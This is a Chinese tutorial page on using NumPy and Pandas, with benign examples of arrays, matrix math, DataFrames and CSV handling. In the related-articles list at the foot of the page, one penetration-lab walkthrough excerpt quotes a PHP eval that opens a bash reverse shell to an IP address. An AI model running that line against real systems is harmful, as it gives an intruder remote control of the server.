【30天玩转python】使用第三方库(如 NumPy、Pandas)

news2024/9/22 9:45:37

使用第三方库(如 NumPy、Pandas)

Python 的强大之处在于其广泛的第三方库生态,特别是在科学计算、数据分析等领域。NumPyPandas 是 Python 最常用的两个库,分别用于数值计算和数据处理。学习和掌握这些库将极大地提升你的编程效率和解决问题的能力。


1. NumPy 简介

NumPy 是 Python 的科学计算基础库,提供了支持高效多维数组和矩阵运算的功能。它是许多其他科学计算库(如 Pandas、SciPy 等)的基础。

1.1 安装 NumPy

在使用 NumPy 之前,需要先安装它。可以使用 pip 命令进行安装:

pip install numpy
1.2 NumPy 的主要功能
  • 多维数组对象(ndarray):提供高效的数组运算。
  • 广播机制:支持对不同形状数组进行运算。
  • 线性代数:提供矩阵、向量和线性代数操作。
  • 随机数生成:用于生成随机数或随机分布的数据。
1.3 创建 NumPy 数组

NumPy 的核心是 ndarray,它是一个多维数组对象。可以通过不同的方式创建数组。

示例:创建 NumPy 数组

import numpy as np

# 创建一维数组
array_1d = np.array([1, 2, 3, 4, 5])

# 创建二维数组
array_2d = np.array([[1, 2, 3], [4, 5, 6]])

# 创建全零数组
zeros_array = np.zeros((3, 3))

# 创建全一数组
ones_array = np.ones((2, 4))

# 创建指定范围的数组
range_array = np.arange(0, 10, 2)

print(array_1d)
print(array_2d)
print(zeros_array)
print(ones_array)
print(range_array)
1.4 数组运算

NumPy 的强大之处在于能够对数组执行矢量化运算,无需显式地写循环。这使得代码简洁且执行效率高。

示例:数组加法与矩阵乘法

import numpy as np

# 数组加法
a = np.array([1, 2, 3])
b = np.array([4, 5, 6])
c = a + b  # [5, 7, 9]

# 矩阵乘法
matrix1 = np.array([[1, 2], [3, 4]])
matrix2 = np.array([[5, 6], [7, 8]])
result = np.dot(matrix1, matrix2)  # 矩阵乘法

print(c)
print(result)
1.5 数学函数

NumPy 提供了丰富的数学函数,用于数组的元素级别操作。

示例:应用数学函数

import numpy as np

a = np.array([1, 4, 9, 16])

# 计算平方根
sqrt_a = np.sqrt(a)

# 计算正弦值
sin_a = np.sin(a)

# 计算平均值
mean_a = np.mean(a)

print(sqrt_a)
print(sin_a)
print(mean_a)

2. Pandas 简介

Pandas 是一个强大的数据分析库,它提供了方便的数据结构(如 DataFrame)来高效地处理和分析数据,尤其适用于结构化数据。

2.1 安装 Pandas

同样,使用 pip 安装 Pandas:

pip install pandas
2.2 Pandas 的主要功能
  • Series:一维数据结构,类似于列表或一维数组。
  • DataFrame:二维数据结构,类似于 Excel 表格或 SQL 数据表。
  • 数据读写:支持读取 CSV、Excel、SQL 数据库等格式的数据。
2.3 创建 Pandas 数据结构

Pandas 的两种主要数据结构是 SeriesDataFrameSeries 是一维数组,DataFrame 是二维表格。

示例:创建 Series 和 DataFrame

import pandas as pd

# 创建 Series
data_series = pd.Series([10, 20, 30, 40])

# 创建 DataFrame
data = {'Name': ['Alice', 'Bob', 'Charlie'],
        'Age': [25, 30, 35],
        'City': ['New York', 'San Francisco', 'Chicago']}
data_frame = pd.DataFrame(data)

print(data_series)
print(data_frame)
2.4 数据读取与写入

Pandas 提供了简单的接口来读取和写入各种格式的数据,如 CSV、Excel、SQL 数据库等。

示例:读取 CSV 文件

import pandas as pd

# 从 CSV 文件中读取数据
data_frame = pd.read_csv('data.csv')

# 显示前几行数据
print(data_frame.head())

# 写入数据到 CSV 文件
data_frame.to_csv('output.csv', index=False)
2.5 数据处理与操作

Pandas 提供了丰富的数据操作方法,包括筛选、排序、缺失值处理等。

示例:数据筛选与操作

import pandas as pd

# 创建 DataFrame
data = {'Name': ['Alice', 'Bob', 'Charlie', 'David'],
        'Age': [25, 30, 35, 40],
        'Salary': [70000, 80000, 120000, 130000]}
data_frame = pd.DataFrame(data)

# 筛选年龄大于30的数据
filtered_data = data_frame[data_frame['Age'] > 30]

# 添加新列
data_frame['Bonus'] = data_frame['Salary'] * 0.1

# 缺失值处理
data_frame.fillna(0, inplace=True)

print(filtered_data)
print(data_frame)

3. NumPy 与 Pandas 的结合

NumPyPandas 常常结合使用,PandasDataFrame 数据结构内部就是基于 NumPy 的多维数组进行高效存储和操作的。

示例:将 NumPy 数组转为 Pandas DataFrame

import numpy as np
import pandas as pd

# 创建 NumPy 数组
array = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])

# 将 NumPy 数组转为 DataFrame
data_frame = pd.DataFrame(array, columns=['A', 'B', 'C'])

print(data_frame)

4. 小结

  • NumPy 是科学计算和数值处理的基础库,擅长多维数组和矩阵运算。
  • Pandas 是数据分析的强大工具,能够高效处理结构化数据。
  • 结合使用 NumPyPandas 可以实现数据的高效处理与分析,大大提升开发效率。

通过学习和掌握 NumPyPandas,你可以更轻松地应对数据分析和科学计算任务。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154766.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux之实战命令03:stat应用实例(三十七)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【…

树及二叉树(选择题)

树 在树中,总结点数为所有结点的度和再加一 5、设一棵度为3的树,其中度为2,1.0的结点数分别为3,1,6。该树中度为3 的结点数为_。 二叉树 设二叉树的所有节点个数为N,度为零的结点(叶子结点…

P9235 [蓝桥杯 2023 省 A] 网络稳定性

*原题链接* 最小瓶颈生成树题,和货车运输完全一样。 先简化题意, 次询问,每次给出 ,问 到 的所有路径集合中,最小边权的最大值。 对于这种题可以用kruskal生成树来做,也可以用倍增来写,但不…

数字基带之相移键控PSK

1 相移键控定义 相移键控是指用载波的相移位变化来传递信号,不改变载波的幅度和频率,可用下面的公式表示。 是载波的幅度,是载波的角频率,是载波的瞬时相位,是载波的初始相位。如果需要调制的信号为1bit的二进制数&am…

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录: 一:前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二:构建CSRF的payload GET请求:a标签 img标签 POST请求:form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…

华为全联接大会HUAWEI Connect 2024印象(一):OpenEuler

因为和华为有课程合作&#xff0c;此次应邀参加了华为全联接大会 &#xff08;HUAWEI Connect 2024&#xff09;&#xff0c;分几次分享一下自己的见闻。 HUAWEI Connect 2024的规模很大&#xff0c;不过主要面向的应该是企业市场&#xff0c;我比较关注的嵌入式系统的内容很少…

学习笔记——RegNet:Designing Network Design Spaces

RegNet&#xff1a;Designing Network Design Spaces RegNet&#xff1a;设计一个网络设计空间 论文地址&#xff1a; https://arxiv.org/pdf/2003.13678 1、前言 在这项工作中&#xff0c;作者提出了一种新的网络设计范例。 作者的目标是帮助增进对网络设计的理解并发现跨设置…

Stable Diffusion Fooocus批量绘图脚本

当当当挡~&#xff0c;流动传热数值计算之余发布点AIGC相关文章&#xff0c;希望大家能喜欢~ 1 Stable Diffusion各种UI分析对比 提示&#xff1a;此部分主要是对SD各种界面的简要介绍和对比&#xff0c;只关注Fooocus批量绘图的读者可直接跳到第二部分。 Stable Diffusion …

进程间的通信4 共享内存

共享内存 1.共享内存简介 共享内存是将分配的物理空间直接映射到进程的用户虚拟地址空间中&#xff0c;减少数据在内核空间缓存共享内存是一种效率较高的进程间通讯的方式在 Linux 系统中通过 ipcs -m 查看所有的共享内存 共享内存模型图 2.共享内存的创建 1.函数头文件 #…

【6DRepNet360全范围头部姿态估计onnxruntime推理】

6DRepNet360全范围头部姿态估计 标题摘要关键词主要贡献方法概述实验结论模型转换和onnxruntime推理模型和代码下载可视化结果代码 这篇论文的核心内容是关于一种用于全范围旋转头部姿态估计的新方法。以下是关键点的总结&#xff1a; 标题 Towards Robust and Unconstrained…

输电线路数据集

输电线路数据集&#xff08;绝缘子自爆&#xff0c;破损&#xff0c;闪络&#xff0c;鸟巢&#xff0c;防震锤脱落五种缺陷&#xff09; 包括 1.绝缘子自爆 2.绝缘子破损绝、闪络 3.鸟巢 4.防震锤脱落 数据增强后的数量 对应数量&#xff1a;1828&#xff0c;1467&#xff0c;4…

【Godot4.3】剪贴板相关以及粘贴截图

概述 Godot4.3中更新了一些关于剪贴板的方法&#xff0c;获取图片赫然在列&#xff0c;这意味着可以在自己的应用中创建诸如粘贴截图的功能。 这些方法被包含在DisplaySever单例中&#xff0c;有兴趣的戈友可以自己去翻一下文档。或许可以实现Godot版本的屏幕截图工具。 相关…

Java | Leetcode Java题解之第414题第三大的数

题目&#xff1a; 题解&#xff1a; class Solution {public int thirdMax(int[] nums) {Integer a null, b null, c null;for (int num : nums) {if (a null || num > a) {c b;b a;a num;} else if (a > num && (b null || num > b)) {c b;b num;…

Maven笔记(二):进阶使用

Maven笔记&#xff08;二&#xff09;-进阶使用 一、Maven分模块开发 分模块开发对项目的扩展性强&#xff0c;同时方便其他项目引入相同的功能。 将原始模块按照功能拆分成若干个子模块&#xff0c;方便模块间的相互调用&#xff0c;接口共享(类似Jar包一样之间引用、复用)…

【LLM学习之路】9月16日 第六天

【LLM学习之路】9月16日 第六天 损失函数 L1Loss 可以取平均也可以求和 参数解析 input &#xff08;N&#xff0c;*&#xff09; N是batchsize&#xff0c;星号代表可以是任意维度 不是输入的参数&#xff0c;只是描述数据 target 形状要同上 MSELoss平方差 CrossEntr…